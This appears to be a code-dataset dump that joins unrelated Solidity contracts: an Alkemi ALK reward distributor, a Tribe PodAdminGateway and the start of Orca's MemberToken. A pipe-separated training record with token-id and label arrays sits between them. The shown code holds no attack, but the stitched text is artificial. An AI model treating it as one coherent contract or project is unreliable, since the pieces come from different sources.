emit AlkSpeedUpdated(currentMarket, newSpeed, false);
}
}
/**
* @notice Accrue ALK to the market by updating the supply index
* @param market The market whose supply index to update
* @param isVerified Verified / Public protocol
*/
function updateAlkSupplyIndex(address market, bool isVerified) public {
MarketState storage supplyState = alkSupplyState[isVerified][market];
uint256 marketSpeed = alkSpeeds[isVerified][market];
uint256 blockNumber = getBlockNumber();
uint256 deltaBlocks = sub_(blockNumber, uint256(supplyState.block));
if (deltaBlocks > 0 && marketSpeed > 0) {
uint256 marketTotalSupply = getMarketTotalSupply(
market,
isVerified
);
uint256 supplyAlkAccrued = mul_(deltaBlocks, marketSpeed);
Double memory ratio = marketTotalSupply > 0
? fraction(supplyAlkAccrued, marketTotalSupply)
: Double({mantissa: 0});
Double memory index = add_(
Double({mantissa: supplyState.index}),
ratio
);
alkSupplyState[isVerified][market] = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
supplyState.block = safe32(
blockNumber,
"block number exceeds 32 bits"
);
}
}
/**
* @notice Accrue ALK to the market by updating the borrow index
* @param market The market whose borrow index to update
* @param isVerified Verified / Public protocol
*/
function updateAlkBorrowIndex(address market, bool isVerified) public {
MarketState storage borrowState = alkBorrowState[isVerified][market];
uint256 marketSpeed = alkSpeeds[isVerified][market];
uint256 blockNumber = getBlockNumber();
uint256 deltaBlocks = sub_(blockNumber, uint256(borrowState.block));
if (deltaBlocks > 0 && marketSpeed > 0) {
uint256 marketTotalBorrows = getMarketTotalBorrows(
market,
isVerified
);
uint256 borrowAlkAccrued = mul_(deltaBlocks, marketSpeed);
Double memory ratio = marketTotalBorrows > 0
? fraction(borrowAlkAccrued, marketTotalBorrows)
: Double({mantissa: 0});
Double memory index = add_(
Double({mantissa: borrowState.index}),
ratio
);
alkBorrowState[isVerified][market] = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
borrowState.block = safe32(
blockNumber,
"block number exceeds 32 bits"
);
}
}
/**
* @notice Calculate ALK accrued by a supplier and add it on top of alkAccrued[supplier]
* @param market The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function distributeSupplierAlk(
address market,
address supplier,
bool isVerified
) public {
MarketState storage supplyState = alkSupplyState[isVerified][market];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({
mantissa: alkSupplierIndex[isVerified][market][supplier]
});
alkSupplierIndex[isVerified][market][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa > 0) {
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint256 supplierBalance = getSupplyBalance(
market,
supplier,
isVerified
);
uint256 supplierDelta = mul_(supplierBalance, deltaIndex);
alkAccrued[supplier] = add_(alkAccrued[supplier], supplierDelta);
emit DistributedSupplierAlk(
market,
supplier,
supplierDelta,
alkAccrued[supplier],
supplyIndex.mantissa,
isVerified
);
}
}
/**
* @notice Calculate ALK accrued by a borrower and add it on top of alkAccrued[borrower]
* @param market The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function distributeBorrowerAlk(
address market,
address borrower,
bool isVerified
) public {
MarketState storage borrowState = alkBorrowState[isVerified][market];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({
mantissa: alkBorrowerIndex[isVerified][market][borrower]
});
alkBorrowerIndex[isVerified][market][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint256 borrowerBalance = getBorrowBalance(
market,
borrower,
isVerified
);
uint256 borrowerDelta = mul_(borrowerBalance, deltaIndex);
alkAccrued[borrower] = add_(alkAccrued[borrower], borrowerDelta);
emit DistributedBorrowerAlk(
market,
borrower,
borrowerDelta,
alkAccrued[borrower],
borrowIndex.mantissa,
isVerified
);
}
}
/**
* @notice Claim all the ALK accrued by holder in the specified markets
* @param holder The address to claim ALK for
* @param markets The list of markets to claim ALK in
* @param isVerified Verified / Public protocol
*/
function claimAlk(
address holder,
address[] memory markets,
bool isVerified
) internal {
for (uint256 i = 0; i < markets.length; i++) {
address market = markets[i];
updateAlkSupplyIndex(market, isVerified);
distributeSupplierAlk(market, holder, isVerified);
updateAlkBorrowIndex(market, isVerified);
distributeBorrowerAlk(market, holder, isVerified);
alkAccrued[holder] = transferAlk(
holder,
alkAccrued[holder],
market,
isVerified
);
}
}
/**
* @notice Transfer ALK to the participant
* @dev Note: If there is not enough ALK, we do not perform the transfer all.
* @param participant The address of the participant to transfer ALK to
* @param participantAccrued The amount of ALK to (possibly) transfer
* @param market Market for which ALK is transferred
* @param isVerified Verified / Public Protocol
* @return The amount of ALK which was NOT transferred to the participant
*/
function transferAlk(
address participant,
uint256 participantAccrued,
address market,
bool isVerified
) internal returns (uint256) {
if (participantAccrued > 0) {
EIP20Interface alk = EIP20Interface(getAlkAddress());
uint256 alkRemaining = alk.balanceOf(address(this));
if (participantAccrued <= alkRemaining) {
alk.transfer(participant, participantAccrued);
emit TransferredAlk(
participant,
participantAccrued,
market,
isVerified
);
return 0;
}
}
return participantAccrued;
}
/**
* Getters
*/
/**
* @notice Get the current block number
* @return The current block number
*/
function getBlockNumber() public view returns (uint256) {
return block.number;
}
/**
* @notice Get the current accrued ALK for a participant
* @param participant The address of the participant
* @return The amount of accrued ALK for the participant
*/
function getAlkAccrued(address participant) public view returns (uint256) {
return alkAccrued[participant];
}
/**
* @notice Get the address of the ALK token
* @return The address of ALK token
*/
function getAlkAddress() public view returns (address) {
return alkAddress;
}
/**
* @notice Get the address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract
* @return The address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract
*/
function getAlkemiEarnAddress() public view returns (address, address) {
return (address(alkemiEarnVerified), address(alkemiEarnPublic));
}
/**
* @notice Get market statistics from the AlkemiEarnVerified contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market statistics for the given market
*/
function getMarketStats(address market, bool isVerified)
public
view
returns (
bool isSupported,
uint256 blockNumber,
address interestRateModel,
uint256 totalSupply,
uint256 supplyRateMantissa,
uint256 supplyIndex,
uint256 totalBorrows,
uint256 borrowRateMantissa,
uint256 borrowIndex
)
{
if (isVerified) {
return (alkemiEarnVerified.markets(market));
} else {
return (alkemiEarnPublic.markets(market));
}
}
/**
* @notice Get market total supply from the AlkemiEarnVerified / AlkemiEarnPublic contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market total supply for the given market
*/
function getMarketTotalSupply(address market, bool isVerified)
public
view
returns (uint256)
{
uint256 totalSupply;
(, , , totalSupply, , , , , ) = getMarketStats(market, isVerified);
return totalSupply;
}
/**
* @notice Get market total borrows from the AlkemiEarnVerified contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market total borrows for the given market
*/
function getMarketTotalBorrows(address market, bool isVerified)
public
view
returns (uint256)
{
uint256 totalBorrows;
(, , , , , , totalBorrows, , ) = getMarketStats(market, isVerified);
return totalBorrows;
}
/**
* @notice Get supply balance of the specified market and supplier
* @param market The address of the market
* @param supplier The address of the supplier
* @param isVerified Verified / Public protocol
* @return Supply balance of the specified market and supplier
*/
function getSupplyBalance(
address market,
address supplier,
bool isVerified
) public view returns (uint256) {
if (isVerified) {
return alkemiEarnVerified.getSupplyBalance(supplier, market);
} else {
return alkemiEarnPublic.getSupplyBalance(supplier, market);
}
}
/**
* @notice Get borrow balance of the specified market and borrower
* @param market The address of the market
* @param borrower The address of the borrower
* @param isVerified Verified / Public protocol
* @return Borrow balance of the specified market and borrower
*/
function getBorrowBalance(
address market,
address borrower,
bool isVerified
) public view returns (uint256) {
if (isVerified) {
return alkemiEarnVerified.getBorrowBalance(borrower, market);
} else {
return alkemiEarnPublic.getBorrowBalance(borrower, market);
}
}
/**
* Admin functions
*/
/**
* @notice Transfer the ownership of this contract to the new owner. The ownership will not be transferred until the new owner accept it.
* @param _newOwner The address of the new owner
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != owner, "TransferOwnership: the same owner.");
newOwner = _newOwner;
}
/**
* @notice Accept the ownership of this contract by the new owner
*/
function acceptOwnership() external {
require(
msg.sender == newOwner,
"AcceptOwnership: only new owner do this."
);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
* @notice Add new market to the reward program
* @param market The address of the new market to be added to the reward program
* @param isVerified Verified / Public protocol
*/
function addMarket(address market, bool isVerified) external onlyOwner {
require(!allMarketsIndex[isVerified][market], "Market already exists");
require(
allMarkets[isVerified].length < uint256(MAXIMUM_NUMBER_OF_MARKETS),
"Exceeding the max number of markets allowed"
);
allMarketsIndex[isVerified][market] = true;
allMarkets[isVerified].push(market);
emit MarketAdded(
market,
add_(allMarkets[isVerified].length, allMarkets[!isVerified].length),
isVerified
);
}
/**
* @notice Remove a market from the reward program based on array index
* @param id The index of the `allMarkets` array to be removed
* @param isVerified Verified / Public protocol
*/
function removeMarket(uint256 id, bool isVerified) external onlyOwner {
if (id >= allMarkets[isVerified].length) {
return;
}
allMarketsIndex[isVerified][allMarkets[isVerified][id]] = false;
address removedMarket = allMarkets[isVerified][id];
for (uint256 i = id; i < allMarkets[isVerified].length - 1; i++) {
allMarkets[isVerified][i] = allMarkets[isVerified][i + 1];
}
allMarkets[isVerified].length--;
// reset the ALK speeds for the removed market and refresh ALK speeds
alkSpeeds[isVerified][removedMarket] = 0;
refreshAlkSpeeds();
emit MarketRemoved(
removedMarket,
add_(allMarkets[isVerified].length, allMarkets[!isVerified].length),
isVerified
);
}
/**
* @notice Set ALK token address
* @param _alkAddress The ALK token address
*/
function setAlkAddress(address _alkAddress) external onlyOwner {
require(alkAddress != _alkAddress, "The same ALK address");
require(_alkAddress != address(0), "ALK address cannot be empty");
alkAddress = _alkAddress;
}
/**
* @notice Set AlkemiEarnVerified contract address
* @param _alkemiEarnVerified The AlkemiEarnVerified contract address
*/
function setAlkemiEarnVerifiedAddress(address _alkemiEarnVerified)
external
onlyOwner
{
require(
address(alkemiEarnVerified) != _alkemiEarnVerified,
"The same AlkemiEarnVerified address"
);
require(
_alkemiEarnVerified != address(0),
"AlkemiEarnVerified address cannot be empty"
);
alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified);
}
/**
* @notice Set AlkemiEarnPublic contract address
* @param _alkemiEarnPublic The AlkemiEarnVerified contract address
*/
function setAlkemiEarnPublicAddress(address _alkemiEarnPublic)
external
onlyOwner
{
require(
address(alkemiEarnPublic) != _alkemiEarnPublic,
"The same AlkemiEarnPublic address"
);
require(
_alkemiEarnPublic != address(0),
"AlkemiEarnPublic address cannot be empty"
);
alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic);
}
/**
* @notice Set ALK rate
* @param _alkRate The ALK rate
*/
function setAlkRate(uint256 _alkRate) external onlyOwner {
alkRate = _alkRate;
}
/**
* @notice Get latest ALK rewards
* @param user the supplier/borrower
*/
function getAlkRewards(address user) external view returns (uint256) {
// Refresh ALK speeds
uint256 alkRewards = alkAccrued[user];
(
Exp[] memory marketTotalLiquidity,
Exp memory totalLiquidity
) = refreshMarketLiquidity();
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
alkRewards = add_(
alkRewards,
add_(
getSupplyAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
i,
i,
true
),
getBorrowAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
i,
i,
true
)
)
);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
uint256 index = verifiedMarketsLength + j;
alkRewards = add_(
alkRewards,
add_(
getSupplyAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
index,
j,
false
),
getBorrowAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
index,
j,
false
)
)
);
}
return alkRewards;
}
/**
* @notice Get latest Supply ALK rewards
* @param totalLiquidity Total Liquidity of all markets
* @param marketTotalLiquidity Array of individual market liquidity
* @param user the supplier
* @param i index of the market in marketTotalLiquidity array
* @param j index of the market in the verified/public allMarkets array
* @param isVerified Verified / Public protocol
*/
function getSupplyAlkRewards(
Exp memory totalLiquidity,
Exp[] memory marketTotalLiquidity,
address user,
uint256 i,
uint256 j,
bool isVerified
) internal view returns (uint256) {
uint256 newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
MarketState memory supplyState = alkSupplyState[isVerified][
allMarkets[isVerified][j]
];
if (
sub_(getBlockNumber(), uint256(supplyState.block)) > 0 &&
newSpeed > 0
) {
Double memory index = add_(
Double({mantissa: supplyState.index}),
(
getMarketTotalSupply(
allMarkets[isVerified][j],
isVerified
) > 0
? fraction(
mul_(
sub_(
getBlockNumber(),
uint256(supplyState.block)
),
newSpeed
),
getMarketTotalSupply(
allMarkets[isVerified][j],
isVerified
)
)
: Double({mantissa: 0})
)
);
supplyState = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
} else if (sub_(getBlockNumber(), uint256(supplyState.block)) > 0) {
supplyState.block = safe32(
getBlockNumber(),
"block number exceeds 32 bits"
);
}
if (
isVerified &&
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0
) {
return
mul_(
alkemiEarnVerified.getSupplyBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: supplyState.index}),
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
}
if (
!isVerified &&
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0
) {
return
mul_(
alkemiEarnPublic.getSupplyBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: supplyState.index}),
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
} else {
return 0;
}
}
/**
* @notice Get latest Borrow ALK rewards
* @param totalLiquidity Total Liquidity of all markets
* @param marketTotalLiquidity Array of individual market liquidity
* @param user the borrower
* @param i index of the market in marketTotalLiquidity array
* @param j index of the market in the verified/public allMarkets array
* @param isVerified Verified / Public protocol
*/
function getBorrowAlkRewards(
Exp memory totalLiquidity,
Exp[] memory marketTotalLiquidity,
address user,
uint256 i,
uint256 j,
bool isVerified
) internal view returns (uint256) {
uint256 newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
MarketState memory borrowState = alkBorrowState[isVerified][
allMarkets[isVerified][j]
];
if (
sub_(getBlockNumber(), uint256(borrowState.block)) > 0 &&
newSpeed > 0
) {
Double memory index = add_(
Double({mantissa: borrowState.index}),
(
getMarketTotalBorrows(
allMarkets[isVerified][j],
isVerified
) > 0
? fraction(
mul_(
sub_(
getBlockNumber(),
uint256(borrowState.block)
),
newSpeed
),
getMarketTotalBorrows(
allMarkets[isVerified][j],
isVerified
)
)
: Double({mantissa: 0})
)
);
borrowState = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
} else if (sub_(getBlockNumber(), uint256(borrowState.block)) > 0) {
borrowState.block = safe32(
getBlockNumber(),
"block number exceeds 32 bits"
);
}
if (
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0 &&
isVerified
) {
return
mul_(
alkemiEarnVerified.getBorrowBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: borrowState.index}),
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
}
if (
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0 &&
!isVerified
) {
return
mul_(
alkemiEarnPublic.getBorrowBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: borrowState.index}),
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
} else {
return 0;
}
}
}
|
@notice The portion of alkRate that each market currently receives @notice The first mapping represents verified / public market and the second gives the alkSpeeds
|
mapping(bool => mapping(address => uint256)) public alkSpeeds;
| 81,641 |
[
1,
1986,
14769,
434,
524,
79,
4727,
716,
1517,
13667,
4551,
17024,
225,
1021,
1122,
2874,
8686,
13808,
342,
1071,
13667,
471,
326,
2205,
14758,
326,
524,
79,
16562,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
6430,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
524,
79,
16562,
87,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import {MemberToken} from "@orcaprotocol/contracts/contracts/MemberToken.sol";
import {ControllerV1} from "@orcaprotocol/contracts/contracts/ControllerV1.sol";
import {TimelockController} from "@openzeppelin/contracts/governance/TimelockController.sol";
import {CoreRef} from "../refs/CoreRef.sol";
import {ICore} from "../core/ICore.sol";
import {Core} from "../core/Core.sol";
import {TribeRoles} from "../core/TribeRoles.sol";
import {IPodAdminGateway} from "./interfaces/IPodAdminGateway.sol";
import {IPodFactory} from "./interfaces/IPodFactory.sol";
/// @title PodAdminGateway for TRIBE Governance pods
/// @notice Acts as a gateway for admin functionality and vetos in the TRIBE governance pod system
/// @dev Contract is intended to be set as the podAdmin for all deployed Orca pods. Specifically enables:
/// 1. Adding a member to a pod
/// 2. Removing a member from a pod
/// 3. Transferring a pod member
/// 4. Toggling a pod membership transfer switch
/// 5. Vetoing a pod proposal
contract PodAdminGateway is CoreRef, IPodAdminGateway {
/// @notice Orca membership token for the pods. Handles permissioning pod members
MemberToken private immutable memberToken;
/// @notice Pod factory which creates optimistic pods and acts as a source of information
IPodFactory public immutable podFactory;
constructor(
address _core,
address _memberToken,
address _podFactory
) CoreRef(_core) {
memberToken = MemberToken(_memberToken);
podFactory = IPodFactory(_podFactory);
}
//////////////////////// GETTERS ////////////////////////////////
/// @notice Calculate the specific pod admin role identifier
/// @dev This role is able to add pod members, remove pod members, lock and unlock transfers and veto
/// proposals
function getSpecificPodAdminRole(uint256 _podId) public pure override returns (bytes32) {
return keccak256(abi.encode(_podId, "_ORCA_POD", "_ADMIN"));
}
/// @notice Calculate the specific pod guardian role identifier
/// @dev This role is able to remove pod members and veto pod proposals
function getSpecificPodGuardianRole(uint256 _podId) public pure override returns (bytes32) {
return keccak256(abi.encode(_podId, "_ORCA_POD", "_GUARDIAN"));
}
///////////////////////// ADMIN PRIVILEDGES ////////////////////////////
/// @notice Admin functionality to add a member to a pod
/// @dev Permissioned to GOVERNOR, POD_ADMIN and POD_ADD_MEMBER_ROLE
function addPodMember(uint256 _podId, address _member)
external
override
hasAnyOfThreeRoles(TribeRoles.GOVERNOR, TribeRoles.POD_ADMIN, getSpecificPodAdminRole(_podId))
{
_addMemberToPod(_podId, _member);
}
/// @notice Internal method to add a member to a pod
function _addMemberToPod(uint256 _podId, address _member) internal {
emit AddPodMember(_podId, _member);
memberToken.mint(_member, _podId, bytes(""));
}
/// @notice Admin functionality to batch add a member to a pod
/// @dev Permissioned to GOVERNOR, POD_ADMIN and POD_ADMIN_REMOVE_MEMBER
function batchAddPodMember(uint256 _podId, address[] calldata _members)
external
override
hasAnyOfThreeRoles(TribeRoles.GOVERNOR, TribeRoles.POD_ADMIN, getSpecificPodAdminRole(_podId))
{
uint256 numMembers = _members.length;
for (uint256 i = 0; i < numMembers; ) {
_addMemberToPod(_podId, _members[i]);
// i is constrained by being < _members.length
unchecked {
i += 1;
}
}
}
/// @notice Admin functionality to remove a member from a pod.
/// @dev Permissioned to GOVERNOR, POD_ADMIN, GUARDIAN and POD_ADMIN_REMOVE_MEMBER
function removePodMember(uint256 _podId, address _member)
external
override
hasAnyOfFiveRoles(
TribeRoles.GOVERNOR,
TribeRoles.POD_ADMIN,
TribeRoles.GUARDIAN,
getSpecificPodGuardianRole(_podId),
getSpecificPodAdminRole(_podId)
)
{
_removePodMember(_podId, _member);
}
/// @notice Internal method to remove a member from a pod
function _removePodMember(uint256 _podId, address _member) internal {
emit RemovePodMember(_podId, _member);
memberToken.burn(_member, _podId);
}
/// @notice Admin functionality to batch remove a member from a pod
/// @dev Permissioned to GOVERNOR, POD_ADMIN, GUARDIAN and POD_ADMIN_REMOVE_MEMBER
function batchRemovePodMember(uint256 _podId, address[] calldata _members)
external
override
hasAnyOfFiveRoles(
TribeRoles.GOVERNOR,
TribeRoles.POD_ADMIN,
TribeRoles.GUARDIAN,
getSpecificPodGuardianRole(_podId),
getSpecificPodAdminRole(_podId)
)
{
uint256 numMembers = _members.length;
for (uint256 i = 0; i < numMembers; ) {
_removePodMember(_podId, _members[i]);
// i is constrained by being < _members.length
unchecked {
i += 1;
}
}
}
/// @notice Admin functionality to turn off pod membership transfer
/// @dev Permissioned to GOVERNOR, POD_ADMIN and the specific pod admin role
function lockMembershipTransfers(uint256 _podId)
external
override
hasAnyOfThreeRoles(TribeRoles.GOVERNOR, TribeRoles.POD_ADMIN, getSpecificPodAdminRole(_podId))
{
_setMembershipTransferLock(_podId, true);
}
/// @notice Admin functionality to turn on pod membership transfers
/// @dev Permissioned to GOVERNOR, POD_ADMIN and the specific pod admin role
function unlockMembershipTransfers(uint256 _podId)
external
override
hasAnyOfThreeRoles(TribeRoles.GOVERNOR, TribeRoles.POD_ADMIN, getSpecificPodAdminRole(_podId))
{
_setMembershipTransferLock(_podId, false);
}
/// @notice Internal method to toggle a pod membership transfer lock
function _setMembershipTransferLock(uint256 _podId, bool _lock) internal {
ControllerV1 podController = ControllerV1(memberToken.memberController(_podId));
podController.setPodTransferLock(_podId, _lock);
emit PodMembershipTransferLock(_podId, _lock);
}
/// @notice Transfer the admin of a pod to a new address
/// @dev Permissioned to GOVERNOR, POD_ADMIN and the specific pod admin role
function transferAdmin(uint256 _podId, address _newAdmin)
external
hasAnyOfThreeRoles(TribeRoles.GOVERNOR, TribeRoles.POD_ADMIN, getSpecificPodAdminRole(_podId))
{
ControllerV1 podController = ControllerV1(memberToken.memberController(_podId));
address oldPodAdmin = podController.podAdmin(_podId);
podController.updatePodAdmin(_podId, _newAdmin);
emit UpdatePodAdmin(_podId, oldPodAdmin, _newAdmin);
}
/////////////// VETO CONTROLLER /////////////////
/// @notice Allow a proposal to be vetoed in a pod timelock
/// @dev Permissioned to GOVERNOR, POD_VETO_ADMIN, GUARDIAN, POD_ADMIN and the specific
/// pod admin and guardian roles
function veto(uint256 _podId, bytes32 _proposalId)
external
override
hasAnyOfSixRoles(
TribeRoles.GOVERNOR,
TribeRoles.POD_VETO_ADMIN,
TribeRoles.GUARDIAN,
TribeRoles.POD_ADMIN,
getSpecificPodGuardianRole(_podId),
getSpecificPodAdminRole(_podId)
)
{
address _podTimelock = podFactory.getPodTimelock(_podId);
emit VetoTimelock(_podId, _podTimelock, _proposalId);
TimelockController(payable(_podTimelock)).cancel(_proposalId);
}
}
pragma solidity 0.8.7;
/* solhint-disable indent */
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "./interfaces/IControllerRegistry.sol";
import "./interfaces/IControllerBase.sol";
contract MemberToken is ERC1155Supply, Ownable {
using Address for address;
IControllerRegistry public controllerRegistry;
mapping(uint256 => address) public memberController;
uint256 public nextAvailablePodId = 0;
string public _contractURI =
"https://orcaprotocol-nft.vercel.app/assets/contract-metadata";
event MigrateMemberController(uint256 podId, address newController);
/**
* @param _controllerRegistry The address of the ControllerRegistry contract
*/
constructor(address _controllerRegistry, string memory uri) ERC1155(uri) {
require(_controllerRegistry != address(0), "Invalid address");
controllerRegistry = IControllerRegistry(_controllerRegistry);
}
// Provides metadata value for the opensea wallet. Must be set at construct time
// Source: https://www.reddit.com/r/ethdev/comments/q4j5bf/contracturi_not_reflected_in_opensea/
function contractURI() public view returns (string memory) {
return _contractURI;
}
// Note that OpenSea does not currently update contract metadata when this value is changed. - Nov 2021
function setContractURI(string memory newContractURI) public onlyOwner {
_contractURI = newContractURI;
}
/**
* @param _podId The pod id number
* @param _newController The address of the new controller
*/
function migrateMemberController(uint256 _podId, address _newController)
external
{
require(_newController != address(0), "Invalid address");
require(
msg.sender == memberController[_podId],
"Invalid migrate controller"
);
require(
controllerRegistry.isRegistered(_newController),
"Controller not registered"
);
memberController[_podId] = _newController;
emit MigrateMemberController(_podId, _newController);
}
function getNextAvailablePodId() external view returns (uint256) {
return nextAvailablePodId;
}
function setUri(string memory uri) external onlyOwner {
_setURI(uri);
}
/**
* @param _account The account address to assign the membership token to
* @param _id The membership token id to mint
* @param data Passes a flag for initial creation event
*/
function mint(
address _account,
uint256 _id,
bytes memory data
) external {
_mint(_account, _id, 1, data);
}
/**
* @param _accounts The account addresses to assign the membership tokens to
* @param _id The membership token id to mint
* @param data Passes a flag for an initial creation event
*/
function mintSingleBatch(
address[] memory _accounts,
uint256 _id,
bytes memory data
) public {
for (uint256 index = 0; index < _accounts.length; index += 1) {
_mint(_accounts[index], _id, 1, data);
}
}
/**
* @param _accounts The account addresses to burn the membership tokens from
* @param _id The membership token id to burn
*/
function burnSingleBatch(address[] memory _accounts, uint256 _id) public {
for (uint256 index = 0; index < _accounts.length; index += 1) {
_burn(_accounts[index], _id, 1);
}
}
function createPod(address[] memory _accounts, bytes memory data)
external
returns (uint256)
{
uint256 id = nextAvailablePodId;
nextAvailablePodId += 1;
require(
controllerRegistry.isRegistered(msg.sender),
"Controller not registered"
);
memberController[id] = msg.sender;
if (_accounts.length != 0) {
mintSingleBatch(_accounts, id, data);
}
return id;
}
/**
* @param _account The account address holding the membership token to destroy
* @param _id The id of the membership token to destroy
*/
function burn(address _account, uint256 _id) external {
_burn(_account, _id, 1);
}
// this hook gets called before every token event including mint and burn
/**
* @param operator The account address that initiated the action
* @param from The account address recieveing the membership token
